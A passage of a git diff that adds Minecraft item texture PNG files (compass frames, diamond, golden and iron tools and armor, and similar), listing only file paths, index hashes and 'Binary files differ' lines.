b/src/assets/minecraft/textures/item/comparator.png new file mode 100644 index 00000000..ee5a38e1 Binary files /dev/null and b/src/assets/minecraft/textures/item/comparator.png differ diff --git a/src/assets/minecraft/textures/item/compass_00.png b/src/assets/minecraft/textures/item/compass_00.png new file mode 100644 index 00000000..04e6f067 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_00.png differ diff --git a/src/assets/minecraft/textures/item/compass_01.png b/src/assets/minecraft/textures/item/compass_01.png new file mode 100644 index 00000000..2c00488c Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_01.png differ diff --git a/src/assets/minecraft/textures/item/compass_02.png b/src/assets/minecraft/textures/item/compass_02.png new file mode 100644 index 00000000..7ed3073e Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_02.png differ diff --git a/src/assets/minecraft/textures/item/compass_03.png b/src/assets/minecraft/textures/item/compass_03.png new file mode 100644 index 00000000..6f4e1663 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_03.png differ diff --git a/src/assets/minecraft/textures/item/compass_04.png b/src/assets/minecraft/textures/item/compass_04.png new file mode 100644 index 00000000..e721770d Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_04.png differ diff --git a/src/assets/minecraft/textures/item/compass_05.png b/src/assets/minecraft/textures/item/compass_05.png new file mode 100644 index 00000000..0620ea5d Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_05.png differ diff --git a/src/assets/minecraft/textures/item/compass_06.png b/src/assets/minecraft/textures/item/compass_06.png new file mode 100644 index 00000000..21a8747f Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_06.png differ diff --git a/src/assets/minecraft/textures/item/compass_07.png b/src/assets/minecraft/textures/item/compass_07.png new file mode 100644 index 00000000..c2a347b1 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_07.png differ diff --git a/src/assets/minecraft/textures/item/compass_08.png b/src/assets/minecraft/textures/item/compass_08.png new file mode 100644 index 00000000..c2a347b1 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_08.png differ diff --git a/src/assets/minecraft/textures/item/compass_09.png b/src/assets/minecraft/textures/item/compass_09.png new file mode 100644 index 00000000..c2a347b1 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_09.png differ diff --git a/src/assets/minecraft/textures/item/compass_10.png b/src/assets/minecraft/textures/item/compass_10.png new file mode 100644 index 00000000..7405ae86 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_10.png differ diff --git a/src/assets/minecraft/textures/item/compass_11.png b/src/assets/minecraft/textures/item/compass_11.png new file mode 100644 index 00000000..18d3e9f1 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_11.png differ diff --git a/src/assets/minecraft/textures/item/compass_12.png b/src/assets/minecraft/textures/item/compass_12.png new file mode 100644 index 00000000..5405a62f Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_12.png differ diff --git a/src/assets/minecraft/textures/item/compass_13.png b/src/assets/minecraft/textures/item/compass_13.png new file mode 100644 index 00000000..1c3354b4 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_13.png differ diff --git a/src/assets/minecraft/textures/item/compass_14.png b/src/assets/minecraft/textures/item/compass_14.png new file mode 100644 index 00000000..76d48f3e Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_14.png differ diff --git a/src/assets/minecraft/textures/item/compass_15.png b/src/assets/minecraft/textures/item/compass_15.png new file mode 100644 index 00000000..bc0cd8b8 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_15.png differ diff --git a/src/assets/minecraft/textures/item/compass_16.png b/src/assets/minecraft/textures/item/compass_16.png new file mode 100644 index 00000000..a9e603b2 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_16.png differ diff --git a/src/assets/minecraft/textures/item/compass_17.png b/src/assets/minecraft/textures/item/compass_17.png new file mode 100644 index 00000000..36802213 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_17.png differ diff --git a/src/assets/minecraft/textures/item/compass_18.png b/src/assets/minecraft/textures/item/compass_18.png new file mode 100644 index 00000000..edbc2eda Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_18.png differ diff --git a/src/assets/minecraft/textures/item/compass_19.png b/src/assets/minecraft/textures/item/compass_19.png new file mode 100644 index 00000000..23c0c34b Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_19.png differ diff --git a/src/assets/minecraft/textures/item/compass_20.png b/src/assets/minecraft/textures/item/compass_20.png new file mode 100644 index 00000000..5aaf8c50 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_20.png differ diff --git a/src/assets/minecraft/textures/item/compass_21.png b/src/assets/minecraft/textures/item/compass_21.png new file mode 100644 index 00000000..8a99abd9 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_21.png differ diff --git a/src/assets/minecraft/textures/item/compass_22.png b/src/assets/minecraft/textures/item/compass_22.png new file mode 100644 index 00000000..9dd84237 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_22.png differ diff --git a/src/assets/minecraft/textures/item/compass_23.png b/src/assets/minecraft/textures/item/compass_23.png new file mode 100644 index 00000000..61d739e6 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_23.png differ diff --git a/src/assets/minecraft/textures/item/compass_24.png b/src/assets/minecraft/textures/item/compass_24.png new file mode 100644 index 00000000..61d739e6 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_24.png differ diff --git a/src/assets/minecraft/textures/item/compass_25.png b/src/assets/minecraft/textures/item/compass_25.png new file mode 100644 index 00000000..61d739e6 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_25.png differ diff --git a/src/assets/minecraft/textures/item/compass_26.png b/src/assets/minecraft/textures/item/compass_26.png new file mode 100644 index 00000000..eb5e8027 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_26.png differ diff --git a/src/assets/minecraft/textures/item/compass_27.png b/src/assets/minecraft/textures/item/compass_27.png new file mode 100644 index 00000000..348dac2e Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_27.png differ diff --git a/src/assets/minecraft/textures/item/compass_28.png b/src/assets/minecraft/textures/item/compass_28.png new file mode 100644 index 00000000..8d681982 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_28.png differ diff --git a/src/assets/minecraft/textures/item/compass_29.png b/src/assets/minecraft/textures/item/compass_29.png new file mode 100644 index 00000000..b1683b26 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_29.png differ diff --git a/src/assets/minecraft/textures/item/compass_30.png b/src/assets/minecraft/textures/item/compass_30.png new file mode 100644 index 00000000..ba9be61d Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_30.png differ diff --git a/src/assets/minecraft/textures/item/compass_31.png b/src/assets/minecraft/textures/item/compass_31.png new file mode 100644 index 00000000..2ae89a20 Binary files /dev/null and b/src/assets/minecraft/textures/item/compass_31.png differ diff --git a/src/assets/minecraft/textures/item/cooked_beef.png b/src/assets/minecraft/textures/item/cooked_beef.png new file mode 100644 index 00000000..5f2d657d Binary files /dev/null and b/src/assets/minecraft/textures/item/cooked_beef.png differ diff --git a/src/assets/minecraft/textures/item/cooked_chicken.png b/src/assets/minecraft/textures/item/cooked_chicken.png new file mode 100644 index 00000000..db7bbeed Binary files /dev/null and b/src/assets/minecraft/textures/item/cooked_chicken.png differ diff --git a/src/assets/minecraft/textures/item/cooked_cod.png b/src/assets/minecraft/textures/item/cooked_cod.png new file mode 100644 index 00000000..ec6fe0d5 Binary files /dev/null and b/src/assets/minecraft/textures/item/cooked_cod.png differ diff --git a/src/assets/minecraft/textures/item/cooked_mutton.png b/src/assets/minecraft/textures/item/cooked_mutton.png new file mode 100644 index 00000000..26bf7dd6 Binary files /dev/null and b/src/assets/minecraft/textures/item/cooked_mutton.png differ diff --git a/src/assets/minecraft/textures/item/cooked_porkchop.png b/src/assets/minecraft/textures/item/cooked_porkchop.png new file mode 100644 index 00000000..0988066f Binary files /dev/null and b/src/assets/minecraft/textures/item/cooked_porkchop.png differ diff --git a/src/assets/minecraft/textures/item/cooked_rabbit.png b/src/assets/minecraft/textures/item/cooked_rabbit.png new file mode 100644 index 00000000..20438043 Binary files /dev/null and b/src/assets/minecraft/textures/item/cooked_rabbit.png differ diff --git a/src/assets/minecraft/textures/item/cooked_salmon.png b/src/assets/minecraft/textures/item/cooked_salmon.png new file mode 100644 index 00000000..69c7b4d2 Binary files /dev/null and b/src/assets/minecraft/textures/item/cooked_salmon.png differ diff --git a/src/assets/minecraft/textures/item/cookie.png b/src/assets/minecraft/textures/item/cookie.png new file mode 100644 index 00000000..9eb5e8cf Binary files /dev/null and b/src/assets/minecraft/textures/item/cookie.png differ diff --git a/src/assets/minecraft/textures/item/creeper_banner_pattern.png b/src/assets/minecraft/textures/item/creeper_banner_pattern.png new file mode 100644 index 00000000..6f29d2a2 Binary files /dev/null and b/src/assets/minecraft/textures/item/creeper_banner_pattern.png differ diff --git a/src/assets/minecraft/textures/item/crimson_door.png b/src/assets/minecraft/textures/item/crimson_door.png new file mode 100644 index 00000000..096c450b Binary files /dev/null and b/src/assets/minecraft/textures/item/crimson_door.png differ diff --git a/src/assets/minecraft/textures/item/crimson_sign.png b/src/assets/minecraft/textures/item/crimson_sign.png new file mode 100644 index 00000000..8ced8564 Binary files /dev/null and b/src/assets/minecraft/textures/item/crimson_sign.png differ diff --git a/src/assets/minecraft/textures/item/crossbow_arrow.png b/src/assets/minecraft/textures/item/crossbow_arrow.png new file mode 100644 index 00000000..6f2ae2b9 Binary files /dev/null and b/src/assets/minecraft/textures/item/crossbow_arrow.png differ diff --git a/src/assets/minecraft/textures/item/crossbow_firework.png b/src/assets/minecraft/textures/item/crossbow_firework.png new file mode 100644 index 00000000..8aed8149 Binary files /dev/null and b/src/assets/minecraft/textures/item/crossbow_firework.png differ diff --git a/src/assets/minecraft/textures/item/crossbow_pulling_0.png b/src/assets/minecraft/textures/item/crossbow_pulling_0.png new file mode 100644 index 00000000..00dd4c40 Binary files /dev/null and b/src/assets/minecraft/textures/item/crossbow_pulling_0.png differ diff --git a/src/assets/minecraft/textures/item/crossbow_pulling_1.png b/src/assets/minecraft/textures/item/crossbow_pulling_1.png new file mode 100644 index 00000000..69df6352 Binary files /dev/null and b/src/assets/minecraft/textures/item/crossbow_pulling_1.png differ diff --git a/src/assets/minecraft/textures/item/crossbow_pulling_2.png b/src/assets/minecraft/textures/item/crossbow_pulling_2.png new file mode 100644 index 00000000..438f8c35 Binary files /dev/null and b/src/assets/minecraft/textures/item/crossbow_pulling_2.png differ diff --git a/src/assets/minecraft/textures/item/crossbow_standby.png b/src/assets/minecraft/textures/item/crossbow_standby.png new file mode 100644 index 00000000..dfbfe1c9 Binary files /dev/null and b/src/assets/minecraft/textures/item/crossbow_standby.png differ diff --git a/src/assets/minecraft/textures/item/cyan_dye.png b/src/assets/minecraft/textures/item/cyan_dye.png new file mode 100644 index 00000000..eafaee3b Binary files /dev/null and b/src/assets/minecraft/textures/item/cyan_dye.png differ diff --git a/src/assets/minecraft/textures/item/dark_oak_boat.png b/src/assets/minecraft/textures/item/dark_oak_boat.png new file mode 100644 index 00000000..1a1f4519 Binary files /dev/null and b/src/assets/minecraft/textures/item/dark_oak_boat.png differ diff --git a/src/assets/minecraft/textures/item/dark_oak_door.png b/src/assets/minecraft/textures/item/dark_oak_door.png new file mode 100644 index 00000000..4d2474dd Binary files /dev/null and b/src/assets/minecraft/textures/item/dark_oak_door.png differ diff --git a/src/assets/minecraft/textures/item/dark_oak_sign.png b/src/assets/minecraft/textures/item/dark_oak_sign.png new file mode 100644 index 00000000..b76bb912 Binary files /dev/null and b/src/assets/minecraft/textures/item/dark_oak_sign.png differ diff --git a/src/assets/minecraft/textures/item/diamond.png b/src/assets/minecraft/textures/item/diamond.png new file mode 100644 index 00000000..8ce901e9 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond.png differ diff --git a/src/assets/minecraft/textures/item/diamond_axe.png b/src/assets/minecraft/textures/item/diamond_axe.png new file mode 100644 index 00000000..286bf289 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_axe.png differ diff --git a/src/assets/minecraft/textures/item/diamond_boots.png b/src/assets/minecraft/textures/item/diamond_boots.png new file mode 100644 index 00000000..820291b9 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_boots.png differ diff --git a/src/assets/minecraft/textures/item/diamond_chestplate.png b/src/assets/minecraft/textures/item/diamond_chestplate.png new file mode 100644 index 00000000..b70349ab Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_chestplate.png differ diff --git a/src/assets/minecraft/textures/item/diamond_helmet.png b/src/assets/minecraft/textures/item/diamond_helmet.png new file mode 100644 index 00000000..7b31a38d Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_helmet.png differ diff --git a/src/assets/minecraft/textures/item/diamond_hoe.png b/src/assets/minecraft/textures/item/diamond_hoe.png new file mode 100644 index 00000000..ef9d5ee2 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_hoe.png differ diff --git a/src/assets/minecraft/textures/item/diamond_horse_armor.png b/src/assets/minecraft/textures/item/diamond_horse_armor.png new file mode 100644 index 00000000..e891fbf1 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_horse_armor.png differ diff --git a/src/assets/minecraft/textures/item/diamond_leggings.png b/src/assets/minecraft/textures/item/diamond_leggings.png new file mode 100644 index 00000000..9f050c09 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_leggings.png differ diff --git a/src/assets/minecraft/textures/item/diamond_pickaxe.png b/src/assets/minecraft/textures/item/diamond_pickaxe.png new file mode 100644 index 00000000..25a097c5 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_pickaxe.png differ diff --git a/src/assets/minecraft/textures/item/diamond_shovel.png b/src/assets/minecraft/textures/item/diamond_shovel.png new file mode 100644 index 00000000..1a67da15 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_shovel.png differ diff --git a/src/assets/minecraft/textures/item/diamond_sword.png b/src/assets/minecraft/textures/item/diamond_sword.png new file mode 100644 index 00000000..2430c2f0 Binary files /dev/null and b/src/assets/minecraft/textures/item/diamond_sword.png differ diff --git a/src/assets/minecraft/textures/item/dragon_breath.png b/src/assets/minecraft/textures/item/dragon_breath.png new file mode 100644 index 00000000..1ea773bc Binary files /dev/null and b/src/assets/minecraft/textures/item/dragon_breath.png differ diff --git a/src/assets/minecraft/textures/item/dried_kelp.png b/src/assets/minecraft/textures/item/dried_kelp.png new file mode 100644 index 00000000..f7450d79 Binary files /dev/null and b/src/assets/minecraft/textures/item/dried_kelp.png differ diff --git a/src/assets/minecraft/textures/item/egg.png b/src/assets/minecraft/textures/item/egg.png new file mode 100644 index 00000000..2c56b906 Binary files /dev/null and b/src/assets/minecraft/textures/item/egg.png differ diff --git a/src/assets/minecraft/textures/item/elytra.png b/src/assets/minecraft/textures/item/elytra.png new file mode 100644 index 00000000..79c0bab0 Binary files /dev/null and b/src/assets/minecraft/textures/item/elytra.png differ diff --git a/src/assets/minecraft/textures/item/emerald.png b/src/assets/minecraft/textures/item/emerald.png new file mode 100644 index 00000000..46af1cc0 Binary files /dev/null and b/src/assets/minecraft/textures/item/emerald.png differ diff --git a/src/assets/minecraft/textures/item/empty_armor_slot_boots.png b/src/assets/minecraft/textures/item/empty_armor_slot_boots.png new file mode 100644 index 00000000..fd7e05fa Binary files /dev/null and b/src/assets/minecraft/textures/item/empty_armor_slot_boots.png differ diff --git a/src/assets/minecraft/textures/item/empty_armor_slot_chestplate.png b/src/assets/minecraft/textures/item/empty_armor_slot_chestplate.png new file mode 100644 index 00000000..6e632b9d Binary files /dev/null and b/src/assets/minecraft/textures/item/empty_armor_slot_chestplate.png differ diff --git a/src/assets/minecraft/textures/item/empty_armor_slot_helmet.png b/src/assets/minecraft/textures/item/empty_armor_slot_helmet.png new file mode 100644 index 00000000..3a455f3f Binary files /dev/null and b/src/assets/minecraft/textures/item/empty_armor_slot_helmet.png differ diff --git a/src/assets/minecraft/textures/item/empty_armor_slot_leggings.png b/src/assets/minecraft/textures/item/empty_armor_slot_leggings.png new file mode 100644 index 00000000..28b2c494 Binary files /dev/null and b/src/assets/minecraft/textures/item/empty_armor_slot_leggings.png differ diff --git a/src/assets/minecraft/textures/item/empty_armor_slot_shield.png b/src/assets/minecraft/textures/item/empty_armor_slot_shield.png new file mode 100644 index 00000000..fa12e433 Binary files /dev/null and b/src/assets/minecraft/textures/item/empty_armor_slot_shield.png differ diff --git a/src/assets/minecraft/textures/item/enchanted_book.png b/src/assets/minecraft/textures/item/enchanted_book.png new file mode 100644 index 00000000..a67e1b81 Binary files /dev/null and b/src/assets/minecraft/textures/item/enchanted_book.png differ diff --git a/src/assets/minecraft/textures/item/end_crystal.png b/src/assets/minecraft/textures/item/end_crystal.png new file mode 100644 index 00000000..b1d0d140 Binary files /dev/null and b/src/assets/minecraft/textures/item/end_crystal.png differ diff --git a/src/assets/minecraft/textures/item/ender_eye.png b/src/assets/minecraft/textures/item/ender_eye.png new file mode 100644 index 00000000..ef379aca Binary files /dev/null and b/src/assets/minecraft/textures/item/ender_eye.png differ diff --git a/src/assets/minecraft/textures/item/ender_pearl.png b/src/assets/minecraft/textures/item/ender_pearl.png new file mode 100644 index 00000000..82828988 Binary files /dev/null and b/src/assets/minecraft/textures/item/ender_pearl.png differ diff --git a/src/assets/minecraft/textures/item/experience_bottle.png b/src/assets/minecraft/textures/item/experience_bottle.png new file mode 100644 index 00000000..eb27866d Binary files /dev/null and b/src/assets/minecraft/textures/item/experience_bottle.png differ diff --git a/src/assets/minecraft/textures/item/feather.png b/src/assets/minecraft/textures/item/feather.png new file mode 100644 index 00000000..074373ff Binary files /dev/null and b/src/assets/minecraft/textures/item/feather.png differ diff --git a/src/assets/minecraft/textures/item/fermented_spider_eye.png b/src/assets/minecraft/textures/item/fermented_spider_eye.png new file mode 100644 index 00000000..c79c2f2f Binary files /dev/null and b/src/assets/minecraft/textures/item/fermented_spider_eye.png differ diff --git a/src/assets/minecraft/textures/item/filled_map.png b/src/assets/minecraft/textures/item/filled_map.png new file mode 100644 index 00000000..45019a54 Binary files /dev/null and b/src/assets/minecraft/textures/item/filled_map.png differ diff --git a/src/assets/minecraft/textures/item/filled_map_markings.png b/src/assets/minecraft/textures/item/filled_map_markings.png new file mode 100644 index 00000000..7eaa311e Binary files /dev/null and b/src/assets/minecraft/textures/item/filled_map_markings.png differ diff --git a/src/assets/minecraft/textures/item/fire_charge.png b/src/assets/minecraft/textures/item/fire_charge.png new file mode 100644 index 00000000..1816e87b Binary files /dev/null and b/src/assets/minecraft/textures/item/fire_charge.png differ diff --git a/src/assets/minecraft/textures/item/firework_rocket.png b/src/assets/minecraft/textures/item/firework_rocket.png new file mode 100644 index 00000000..1d60c421 Binary files /dev/null and b/src/assets/minecraft/textures/item/firework_rocket.png differ diff --git a/src/assets/minecraft/textures/item/firework_star.png b/src/assets/minecraft/textures/item/firework_star.png new file mode 100644 index 00000000..a2e67af1 Binary files /dev/null and b/src/assets/minecraft/textures/item/firework_star.png differ diff --git a/src/assets/minecraft/textures/item/firework_star_overlay.png b/src/assets/minecraft/textures/item/firework_star_overlay.png new file mode 100644 index 00000000..d8b91a92 Binary files /dev/null and b/src/assets/minecraft/textures/item/firework_star_overlay.png differ diff --git a/src/assets/minecraft/textures/item/fishing_rod.png b/src/assets/minecraft/textures/item/fishing_rod.png new file mode 100644 index 00000000..a6926b51 Binary files /dev/null and b/src/assets/minecraft/textures/item/fishing_rod.png differ diff --git a/src/assets/minecraft/textures/item/fishing_rod_cast.png b/src/assets/minecraft/textures/item/fishing_rod_cast.png new file mode 100644 index 00000000..250a1cf1 Binary files /dev/null and b/src/assets/minecraft/textures/item/fishing_rod_cast.png differ diff --git a/src/assets/minecraft/textures/item/flint.png b/src/assets/minecraft/textures/item/flint.png new file mode 100644 index 00000000..fa332a86 Binary files /dev/null and b/src/assets/minecraft/textures/item/flint.png differ diff --git a/src/assets/minecraft/textures/item/flint_and_steel.png b/src/assets/minecraft/textures/item/flint_and_steel.png new file mode 100644 index 00000000..ed1197af Binary files /dev/null and b/src/assets/minecraft/textures/item/flint_and_steel.png differ diff --git a/src/assets/minecraft/textures/item/flower_banner_pattern.png b/src/assets/minecraft/textures/item/flower_banner_pattern.png new file mode 100644 index 00000000..6f29d2a2 Binary files /dev/null and b/src/assets/minecraft/textures/item/flower_banner_pattern.png differ diff --git a/src/assets/minecraft/textures/item/flower_pot.png b/src/assets/minecraft/textures/item/flower_pot.png new file mode 100644 index 00000000..9a101cf1 Binary files /dev/null and b/src/assets/minecraft/textures/item/flower_pot.png differ diff --git a/src/assets/minecraft/textures/item/furnace_minecart.png b/src/assets/minecraft/textures/item/furnace_minecart.png new file mode 100644 index 00000000..f17efac2 Binary files /dev/null and b/src/assets/minecraft/textures/item/furnace_minecart.png differ diff --git a/src/assets/minecraft/textures/item/ghast_tear.png b/src/assets/minecraft/textures/item/ghast_tear.png new file mode 100644 index 00000000..8fa46e8f Binary files /dev/null and b/src/assets/minecraft/textures/item/ghast_tear.png differ diff --git a/src/assets/minecraft/textures/item/glass_bottle.png b/src/assets/minecraft/textures/item/glass_bottle.png new file mode 100644 index 00000000..b86b4b7f Binary files /dev/null and b/src/assets/minecraft/textures/item/glass_bottle.png differ diff --git a/src/assets/minecraft/textures/item/glistering_melon_slice.png b/src/assets/minecraft/textures/item/glistering_melon_slice.png new file mode 100644 index 00000000..e8923d16 Binary files /dev/null and b/src/assets/minecraft/textures/item/glistering_melon_slice.png differ diff --git a/src/assets/minecraft/textures/item/globe_banner_pattern.png b/src/assets/minecraft/textures/item/globe_banner_pattern.png new file mode 100644 index 00000000..6f29d2a2 Binary files /dev/null and b/src/assets/minecraft/textures/item/globe_banner_pattern.png differ diff --git a/src/assets/minecraft/textures/item/glowstone_dust.png b/src/assets/minecraft/textures/item/glowstone_dust.png new file mode 100644 index 00000000..24181098 Binary files /dev/null and b/src/assets/minecraft/textures/item/glowstone_dust.png differ diff --git a/src/assets/minecraft/textures/item/gold_ingot.png b/src/assets/minecraft/textures/item/gold_ingot.png new file mode 100644 index 00000000..cf2365eb Binary files /dev/null and b/src/assets/minecraft/textures/item/gold_ingot.png differ diff --git a/src/assets/minecraft/textures/item/gold_nugget.png b/src/assets/minecraft/textures/item/gold_nugget.png new file mode 100644 index 00000000..a8b4b87e Binary files /dev/null and b/src/assets/minecraft/textures/item/gold_nugget.png differ diff --git a/src/assets/minecraft/textures/item/golden_apple.png b/src/assets/minecraft/textures/item/golden_apple.png new file mode 100644 index 00000000..43b787ea Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_apple.png differ diff --git a/src/assets/minecraft/textures/item/golden_axe.png b/src/assets/minecraft/textures/item/golden_axe.png new file mode 100644 index 00000000..e0b268df Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_axe.png differ diff --git a/src/assets/minecraft/textures/item/golden_boots.png b/src/assets/minecraft/textures/item/golden_boots.png new file mode 100644 index 00000000..982ca4d1 Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_boots.png differ diff --git a/src/assets/minecraft/textures/item/golden_carrot.png b/src/assets/minecraft/textures/item/golden_carrot.png new file mode 100644 index 00000000..ab5c788d Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_carrot.png differ diff --git a/src/assets/minecraft/textures/item/golden_chestplate.png b/src/assets/minecraft/textures/item/golden_chestplate.png new file mode 100644 index 00000000..b9237768 Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_chestplate.png differ diff --git a/src/assets/minecraft/textures/item/golden_helmet.png b/src/assets/minecraft/textures/item/golden_helmet.png new file mode 100644 index 00000000..d56a41b8 Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_helmet.png differ diff --git a/src/assets/minecraft/textures/item/golden_hoe.png b/src/assets/minecraft/textures/item/golden_hoe.png new file mode 100644 index 00000000..7509eaa2 Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_hoe.png differ diff --git a/src/assets/minecraft/textures/item/golden_horse_armor.png b/src/assets/minecraft/textures/item/golden_horse_armor.png new file mode 100644 index 00000000..290be003 Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_horse_armor.png differ diff --git a/src/assets/minecraft/textures/item/golden_leggings.png b/src/assets/minecraft/textures/item/golden_leggings.png new file mode 100644 index 00000000..104c3942 Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_leggings.png differ diff --git a/src/assets/minecraft/textures/item/golden_pickaxe.png b/src/assets/minecraft/textures/item/golden_pickaxe.png new file mode 100644 index 00000000..51104e8d Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_pickaxe.png differ diff --git a/src/assets/minecraft/textures/item/golden_shovel.png b/src/assets/minecraft/textures/item/golden_shovel.png new file mode 100644 index 00000000..4a38193d Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_shovel.png differ diff --git a/src/assets/minecraft/textures/item/golden_sword.png b/src/assets/minecraft/textures/item/golden_sword.png new file mode 100644 index 00000000..1d827cfd Binary files /dev/null and b/src/assets/minecraft/textures/item/golden_sword.png differ diff --git a/src/assets/minecraft/textures/item/gray_dye.png b/src/assets/minecraft/textures/item/gray_dye.png new file mode 100644 index 00000000..2a9c2d8b Binary files /dev/null and b/src/assets/minecraft/textures/item/gray_dye.png differ diff --git a/src/assets/minecraft/textures/item/green_dye.png b/src/assets/minecraft/textures/item/green_dye.png new file mode 100644 index 00000000..7a24b8ed Binary files /dev/null and b/src/assets/minecraft/textures/item/green_dye.png differ diff --git a/src/assets/minecraft/textures/item/gunpowder.png b/src/assets/minecraft/textures/item/gunpowder.png new file mode 100644 index 00000000..18e88ece Binary files /dev/null and b/src/assets/minecraft/textures/item/gunpowder.png differ diff --git a/src/assets/minecraft/textures/item/heart_of_the_sea.png b/src/assets/minecraft/textures/item/heart_of_the_sea.png new file mode 100644 index 00000000..c8789f9a Binary files /dev/null and b/src/assets/minecraft/textures/item/heart_of_the_sea.png differ diff --git a/src/assets/minecraft/textures/item/honey_bottle.png b/src/assets/minecraft/textures/item/honey_bottle.png new file mode 100644 index 00000000..19974ddf Binary files /dev/null and b/src/assets/minecraft/textures/item/honey_bottle.png differ diff --git a/src/assets/minecraft/textures/item/honeycomb.png b/src/assets/minecraft/textures/item/honeycomb.png new file mode 100644 index 00000000..fad7a6cd Binary files /dev/null and b/src/assets/minecraft/textures/item/honeycomb.png differ diff --git a/src/assets/minecraft/textures/item/hopper.png b/src/assets/minecraft/textures/item/hopper.png new file mode 100644 index 00000000..8d1731a6 Binary files /dev/null and b/src/assets/minecraft/textures/item/hopper.png differ diff --git a/src/assets/minecraft/textures/item/hopper_minecart.png b/src/assets/minecraft/textures/item/hopper_minecart.png new file mode 100644 index 00000000..08aea54d Binary files /dev/null and b/src/assets/minecraft/textures/item/hopper_minecart.png differ diff --git a/src/assets/minecraft/textures/item/ink_sac.png b/src/assets/minecraft/textures/item/ink_sac.png new file mode 100644 index 00000000..dcabb0ab Binary files /dev/null and b/src/assets/minecraft/textures/item/ink_sac.png differ diff --git a/src/assets/minecraft/textures/item/iron_axe.png b/src/assets/minecraft/textures/item/iron_axe.png new file mode 100644 index 00000000..43e742c2 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_axe.png differ diff --git a/src/assets/minecraft/textures/item/iron_boots.png b/src/assets/minecraft/textures/item/iron_boots.png new file mode 100644 index 00000000..e9609245 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_boots.png differ diff --git a/src/assets/minecraft/textures/item/iron_chestplate.png b/src/assets/minecraft/textures/item/iron_chestplate.png new file mode 100644 index 00000000..bab56132 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_chestplate.png differ diff --git a/src/assets/minecraft/textures/item/iron_door.png b/src/assets/minecraft/textures/item/iron_door.png new file mode 100644 index 00000000..c878badb Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_door.png differ diff --git a/src/assets/minecraft/textures/item/iron_helmet.png b/src/assets/minecraft/textures/item/iron_helmet.png new file mode 100644 index 00000000..085dd585 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_helmet.png differ diff --git a/src/assets/minecraft/textures/item/iron_hoe.png b/src/assets/minecraft/textures/item/iron_hoe.png new file mode 100644 index 00000000..d5a78604 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_hoe.png differ diff --git a/src/assets/minecraft/textures/item/iron_horse_armor.png b/src/assets/minecraft/textures/item/iron_horse_armor.png new file mode 100644 index 00000000..63a67055 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_horse_armor.png differ diff --git a/src/assets/minecraft/textures/item/iron_ingot.png b/src/assets/minecraft/textures/item/iron_ingot.png new file mode 100644 index 00000000..c332bd2c Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_ingot.png differ diff --git a/src/assets/minecraft/textures/item/iron_leggings.png b/src/assets/minecraft/textures/item/iron_leggings.png new file mode 100644 index 00000000..5ea16729 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_leggings.png differ diff --git a/src/assets/minecraft/textures/item/iron_nugget.png b/src/assets/minecraft/textures/item/iron_nugget.png new file mode 100644 index 00000000..13515d36 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_nugget.png differ diff --git a/src/assets/minecraft/textures/item/iron_pickaxe.png b/src/assets/minecraft/textures/item/iron_pickaxe.png new file mode 100644 index 00000000..ac75a010 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_pickaxe.png differ diff --git a/src/assets/minecraft/textures/item/iron_shovel.png b/src/assets/minecraft/textures/item/iron_shovel.png new file mode 100644 index 00000000..fb726a02 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_shovel.png differ diff --git a/src/assets/minecraft/textures/item/iron_sword.png 